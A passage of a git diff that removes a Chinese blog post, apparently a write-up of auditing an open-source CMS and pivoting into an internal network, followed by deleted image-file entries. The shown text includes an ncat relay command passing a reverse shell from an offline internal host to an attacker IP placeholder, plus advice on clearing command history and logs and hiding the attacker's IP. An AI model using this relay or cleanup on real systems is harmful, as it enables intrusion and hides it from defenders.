ncat -l 中转机器接收内网反弹来的shell的端口 -c 'ncat 攻击机的ip 攻击机的端口'
-
-
-

这样攻击机就可以接收到不出网的设备弹的shell,唯一的缺点就是中转的机器要占用个端口

-

中不中转对于不出网的设备的权限维持都是一样的,主要的区别就是在vps上连不出网的设备方便点

-

3.7 痕迹清理

-

主要是命令的历史记录和日志文件,不过基本清不干净,而且有些地方记录了也清不到,隐藏攻击ip比较万能

-

总结

-

安全不容忽视,可以试一下自己的vps对外开放的服务,看看有没有漏洞,尽量把能升级的东西升级到最新版

- -
- - -
- -
- - postgraduate - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\277\231\344\270\252\347\240\224\350\277\230\350\200\203\344\270\215\350\200\203\344\272\206-\350\256\260\344\270\200\346\254\241\344\273\216\345\274\200\346\272\220cms\344\273\243\347\240\201\345\256\241\350\256\241\345\210\260\346\211\223\351\200\232\345\206\205\347\275\221\344\270\200\344\270\252c\346\256\265/postgraduate.png" "b/p/\350\277\231\344\270\252\347\240\224\350\277\230\350\200\203\344\270\215\350\200\203\344\272\206-\350\256\260\344\270\200\346\254\241\344\273\216\345\274\200\346\272\220cms\344\273\243\347\240\201\345\256\241\350\256\241\345\210\260\346\211\223\351\200\232\345\206\205\347\275\221\344\270\200\344\270\252c\346\256\265/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\277\231\344\270\252\347\240\224\350\277\230\350\200\203\344\270\215\350\200\203\344\272\206-\350\256\260\344\270\200\346\254\241\344\273\216\345\274\200\346\272\220cms\344\273\243\347\240\201\345\256\241\350\256\241\345\210\260\346\211\223\351\200\232\345\206\205\347\275\221\344\270\200\344\270\252c\346\256\265/postgraduate.png" and /dev/null differ diff --git "a/p/\350\277\231\344\270\252\347\240\224\350\277\230\350\200\203\344\270\215\350\200\203\344\272\206-\350\256\260\344\270\200\346\254\241\344\273\216\345\274\200\346\272\220cms\344\273\243\347\240\201\345\256\241\350\256\241\345\210\260\346\211\223\351\200\232\345\206\205\347\275\221\344\270\200\344\270\252c\346\256\265/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\350\277\231\344\270\252\347\240\224\350\277\230\350\200\203\344\270\215\350\200\203\344\272\206-\350\256\260\344\270\200\346\254\241\344\273\216\345\274\200\346\272\220cms\344\273\243\347\240\201\345\256\241\350\256\241\345\210\260\346\211\223\351\200\232\345\206\205\347\275\221\344\270\200\344\270\252c\346\256\265/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\350\277\231\344\270\252\347\240\224\350\277\230\350\200\203\344\270\215\350\200\203\344\272\206-\350\256\260\344\270\200\346\254\241\344\273\216\345\274\200\346\272\220cms\344\273\243\347\240\201\345\256\241\350\256\241\345\210\260\346\211\223\351\200\232\345\206\205\347\275\221\344\270\200\344\270\252c\346\256\265/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\277\231\344\270\252\347\240\224\350\277\230\350\200\203\344\270\215\350\200\203\344\272\206-\350\256\260\344\270\200\346\254\241\344\273\216\345\274\200\346\272\220cms\344\273\243\347\240\201\345\256\241\350\256\241\345\210\260\346\211\223\351\200\232\345\206\205\347\275\221\344\270\200\344\270\252c\346\256\265/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\350\277\231\344\270\252\347\240\224\350\277\230\350\200\203\344\270\215\350\200\203\344\272\206-\350\256\260\344\270\200\346\254\241\344\273\216\345\274\200\346\272\220cms\344\273\243\347\240\201\345\256\241\350\256\241\345\210\260\346\211\223\351\200\232\345\206\205\347\275\221\344\270\200\344\270\252c\346\256\265/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index e91ff2bb..00000000 Binary files "a/p/\350\277\231\344\270\252\347\240\224\350\277\230\350\200\203\344\270\215\350\200\203\344\272\206-\350\256\260\344\270\200\346\254\241\344\273\216\345\274\200\346\272\220cms\344\273\243\347\240\201\345\256\241\350\256\241\345\210\260\346\211\223\351\200\232\345\206\205\347\275\221\344\270\200\344\270\252c\346\256\265/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\277\231\344\270\252\347\240\224\350\277\230\350\200\203\344\270\215\350\200\203\344\272\206-\350\256\260\344\270\200\346\254\241\344\273\216\345\274\200\346\272\220cms\344\273\243\347\240\201\345\256\241\350\256\241\345\210\260\346\211\223\351\200\232\345\206\205\347\275\221\344\270\200\344\270\252c\346\256\265/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\350\277\231\344\270\252\347\240\224\350\277\230\350\200\203\344\270\215\350\200\203\344\272\206-\350\256\260\344\270\200\346\254\241\344\273\216\345\274\200\346\272\220cms\344\273\243\347\240\201\345\256\241\350\256\241\345\210\260\346\211\223\351\200\232\345\206\205\347\275\221\344\270\200\344\270\252c\346\256\265/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\350\277\231\344\270\252\347\240\224\350\277\230\350\200\203\344\270\215\350\200\203\344\272\206-\350\256\260\344\270\200\346\254\241\344\273\216\345\274\200\346\272\220cms\344\273\243\347\240\201\345\256\241\350\256\241\345\210\260\346\211\223\351\200\232\345\206\205\347\275\221\344\270\200\344\270\252c\346\256\265/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ